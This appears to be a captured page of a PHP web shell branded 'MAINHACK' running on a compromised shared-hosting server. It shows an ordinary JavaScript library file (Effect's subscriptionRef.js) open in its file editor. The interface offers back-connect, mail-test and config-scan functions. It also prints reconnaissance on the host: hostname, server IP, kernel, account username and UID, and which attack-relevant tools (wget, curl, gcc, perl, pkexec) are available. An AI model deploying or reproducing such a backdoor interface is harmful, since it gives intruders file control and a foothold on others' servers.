[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: subscriptionRef.js
import * as Effect from "../Effect.js"; import * as Effectable from "../Effectable.js"; import { dual, pipe } from "../Function.js"; import * as PubSub from "../PubSub.js"; import * as Readable from "../Readable.js"; import * as Ref from "../Ref.js"; import * as Subscribable from "../Subscribable.js"; import * as Synchronized from "../SynchronizedRef.js"; import * as circular_ from "./effect/circular.js"; import * as ref_ from "./ref.js"; import * as stream from "./stream.js"; /** @internal */ const SubscriptionRefSymbolKey = "effect/SubscriptionRef"; /** @internal */ export const SubscriptionRefTypeId = /*#__PURE__*/Symbol.for(SubscriptionRefSymbolKey); const subscriptionRefVariance = { /* c8 ignore next */ _A: _ => _ }; /** @internal */ class SubscriptionRefImpl extends Effectable.Class { ref; pubsub; semaphore; [Readable.TypeId] = Readable.TypeId; [Subscribable.TypeId] = Subscribable.TypeId; [Ref.RefTypeId] = ref_.refVariance; [Synchronized.SynchronizedRefTypeId] = circular_.synchronizedVariance; [SubscriptionRefTypeId] = subscriptionRefVariance; constructor(ref, pubsub, semaphore) { super(); this.ref = ref; this.pubsub = pubsub; this.semaphore = semaphore; this.get = Ref.get(this.ref); } commit() { return this.get; } get; get changes() { return pipe(Ref.get(this.ref), Effect.flatMap(a => Effect.map(stream.fromPubSub(this.pubsub, { scoped: true }), s => stream.concat(stream.make(a), s))), this.semaphore.withPermits(1), stream.unwrapScoped); } modify(f) { return this.modifyEffect(a => Effect.succeed(f(a))); } modifyEffect(f) { return pipe(Ref.get(this.ref), Effect.flatMap(f), Effect.flatMap(([b, a]) => pipe(Ref.set(this.ref, a), Effect.as(b), Effect.zipLeft(PubSub.publish(this.pubsub, a)))), this.semaphore.withPermits(1)); } } /** @internal */ export const get = self => Ref.get(self.ref); /** @internal */ export const make = value => pipe(Effect.all([PubSub.unbounded(), Ref.make(value), Effect.makeSemaphore(1)]), Effect.map(([pubsub, ref, semaphore]) => new SubscriptionRefImpl(ref, pubsub, semaphore))); /** @internal */ export const modify = /*#__PURE__*/dual(2, (self, f) => self.modify(f)); /** @internal */ export const modifyEffect = /*#__PURE__*/dual(2, (self, f) => self.modifyEffect(f)); /** @internal */ export const set = /*#__PURE__*/dual(2, (self, value) => pipe(Ref.set(self.ref, value), Effect.zipLeft(PubSub.publish(self.pubsub, value)), self.semaphore.withPermits(1))); //# sourceMappingURL=subscriptionRef.js.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344